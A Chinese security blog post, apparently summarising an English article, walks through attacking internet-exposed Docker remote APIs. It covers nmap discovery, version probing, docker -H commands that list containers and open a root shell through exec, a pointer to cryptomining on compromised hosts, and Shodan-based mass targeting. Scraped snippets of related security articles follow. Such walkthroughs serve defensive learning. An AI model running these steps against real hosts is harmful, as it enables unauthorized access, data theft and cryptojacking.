【漏洞挖掘】攻击对外开放的Docker API接口

https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124

1)场景

攻击开放在互联网的Docker API

2)问题难点

Docker API外放有什么危害?

3)解决问题的方法

  • 理解客户API公开互联网的原理
  • 信息收集和枚举
  • 利用Docker CLI测试暴露的API
  • 批量挖掘

4)方法细节

理解客户API公开互联网的原理

如何为dockerd启用远程API

1、/etc/systemd/system/docker.service.d/startup_options.conf使用以下内容创建文件:

# /etc/systemd/system/docker.service.d/override.conf
[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2376

注意: -H标志将dockerd绑定到侦听套接字,即Unix套接字或TCP端口。您可以指定多个-H标志以绑定到多个套接字/端口。默认的-H fd://使用systemd的套接字激活功能来引用/lib/systemd/system/docker.socket。

2、重新加载配置文件

$ sudo systemctl daemon-reload

3、使用新的启动选项重新启动docker守护程序:

$ sudo systemctl restart docker.service

Dockerd进程侦听端口2376

[email protected]:~$ sudo netstat -tulpn | grep 2376
tcp6       0      0 :::2376                 :::*                    LISTEN      4504/dockerd
[email protected]:~$

信息收集和枚举

使用nmap端口扫描

sudo nmap -sS -T5 192.168.1.7 -p-
Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-10 16:31 CEST
Nmap scan report for 192.168.1.7
Host is up (0.00076s latency).
Not shown: 65498 closed ports, 35 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
2376/tcp open  docker
MAC Address: 08:00:27:CA:62:F8 (Oracle VirtualBox virtual NIC)

如果使用nmap的服务检测可以直接检测出Docker的确切版本。

nmap -sTV -p 2376 192.168.1.7
Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-10 16:35 CEST
Nmap scan report for 192.168.1.7
Host is up (0.00038s latency).
PORT     STATE SERVICE    VERSION
2376/tcp open  18.06.0-ce Docker
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.78 seconds

向位于以下位置的端点发出GET请求,返回Docker的版本数据:

curl -s http://192.168.1.7:2376/version | python -m json.tool

从python2.6开始,多了个json.tool的东西。把json数据格式化显示出来。
>>echo '{"name": "lucy", "age": "18"}' | python -mjson.tool
{
"age": "18",
"name": "lucy"
}

  • 利用Docker CLI测试暴露的API
docker -H <host>:<port> info

收集信息

运行的容器

docker -H 192.168.1.7:2376 ps

已经停止的容器

docker -H 192.168.1.7:2376 ps -a

查看镜像

docker -H 192.168.1.7:2376 images

访问容器

在容器内生成一个shell是通过exec命令完成的,在这种情况下我们可能想要生成一个bash shell:

docker -H 192.168.1.7:2376 exec -it <container name> /bin/bash

容器内的默认用户是root,可以尝试进一步搜集容器里的信息,代码、配置文件、数据库。

利用容器挖矿

https://ww.getmonero.org/resources/user-guides/mining_with_xmrig_and_docker.html

批量挖掘

Shodan上暴露出来的API是760个

5)总结

在这篇文章中,研究了Docker相关的威胁。让Docker API暴露于互联网可能会导致数据丢失,加密,僵尸网络等问题

原文地址:https://www.cnblogs.com/17bdw/p/10302045.html

时间: 2024-10-05 05:04:49

【漏洞挖掘】攻击对外开放的Docker API接口的相关文章

关于docker rest api接口组件docker remote api的使用

前提: docker remote api 是docker自带的一个rest api 管理. 只要在配置文件里面申明下就可以了. 下面是docker remote api的官方的功能目录: Docker Remote API v1.3 3.1 Inside 'docker run' 3.2 Hijacking 3.3 CORS Requests 2.1 Containers 2.2 Images 2.3 Misc List containers Create a container Inspec

业务安全漏洞挖掘要点

业务安全漏洞挖掘要点 1 身份认证安全 暴力破解 用暴力穷举的方式大量尝试性地猜破密码. 一般包括字典攻击和暴力穷举. 示例 360云盘分享码可以被暴力破解 http://www.wooyun.org/bugs/wooyun-2015-0121646 淘米网登陆不需验证码导致暴力破解 http://www.wooyun.org/bugs/wooyun-2015-0145757 防御方法: 验证码机制,一次请求一次验证码 登录失败处理功能,登录次数限制,锁定功能 二次认证机制 工具: BurpSu

API接口防止参数篡改和重放攻击

{近期领导要求我对公司业务的支付类的ocr接口做研究,是否存在支付接口重放攻击,so.....} API重放攻击(Replay Attacks)又称重播攻击.回放攻击.他的原理就是把之前窃听到的数据原封不动的重新发送给接收方.HTTPS并不能防止这种攻击,虽然传输的数据是经过加密的,窃听者无法得到数据的准确定义,但是可以从请求的接收方地址分析出这些数据的作用.比如用户登录请求时攻击者虽然无法窃听密码,但是却可以截取加密后的口令然后将其重放,从而利用这种方式进行有效的攻击. 所谓重放攻击就是攻击者

php后台对接ios,安卓,API接口设计和实践完全攻略,涨薪必备技能

2016年12月29日13:45:27 关于接口设计要说的东西很多,可能写一个系列都可以,vsd图都得画很多张,但是由于个人时间和精力有限,所有有些东西后面再补充 说道接口设计第一反应就是restful api 请明白一点,这个只是设计指导思想,也就是设计风格 ,比如你需要遵循这些原则 原则条件REST 指的是一组架构约束条件和原则.满足这些约束条件和原则的应用程序或设计就是 RESTful.Web 应用程序最重要的 REST 原则是,客户端和服务器之间的交互在请求之间是无状态的.从客户端到服务

快递查询API接口调用代码示例

快递查询接口是指快递查询网对外开放的应用程序接口,开发人员能够通过调用该接口与快递查询网进行交互,并基于该接口开发自己的快递查询应用程序.目前比较常用的接口有快递鸟.快递100.快递网等. 应用场景 (1)电商网站用户打开"我的订单"时调用此API显示物流信息详情.  (2)电商管理后台的物流系统,客服在对账前查询所有运单的签收状态,并追踪问题. 物流轨迹查询接口有即时查询和订阅查询两种,即时是请求即返回数据,订阅则是订阅快递单号到接口,有物流轨迹更新则全量返回数据. 快递鸟即时接口可

小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/www/]之外的其他操作系统文件(如:/etc/passwd/).形成根源:目录权限限制不严格 #File include文件包含[1.include本地文件包含LFI:2.远程系统文件包含RFI(可传入木马)] 通常为如include函数,可以将web根目录以外的目录包含进来.根源:include

【安全牛学习笔记】漏洞挖掘

漏洞本质   数据与指令的混淆   对用户输入信息过滤不严,误将指令当做数据 漏洞挖掘原则 所有变量 所有头 cookie中的变量 逐个变量删除筛选 身份认证 弱口令/基于字典的爆破 密码嗅探 sessionID xss 嗅探sessionID长期不变 通过算法预测sessionID phpmyadmin远程命令执行低版本的php存在此漏洞 利用代码 POSThttp://1.1.1.1/phpMyAdmin/?-d+allow_url_include%3d1+-d +auto_prepend_

小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞

手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格安全性的配置,经常有系统服务以最高权限运行. 漏洞类型--远程命令执行 1.phpMyadmin 安装在web服务器中的web接口,专门用来管理MySQL数据库.对于早期版本,安装后若是没有做安全配置,对敏感路径进行删除,则有可能留下安全隐患,其中最明显的为setup. a.探索PHP网站(可根据b

【转】整套完整安全的API接口解决方案

原文地址:http://www.cnblogs.com/hubro/p/6248353.html 在各种手机APP泛滥的现在,背后都有同样泛滥的API接口在支撑,其中鱼龙混杂,直接裸奔的WEB API大量存在,安全性令人堪优 在以前WEB API概念没有很普及的时候,都采用自已定义的接口和结构,对于公开访问的接口,专业点的都会做下安全验证,数据签名之类 反而现在,谁都可以用WEB API估接口,安全性早忘一边了,特别是外包小公司的APP项目,80%都有安全漏洞(面试了大半年APP开发得出的结论)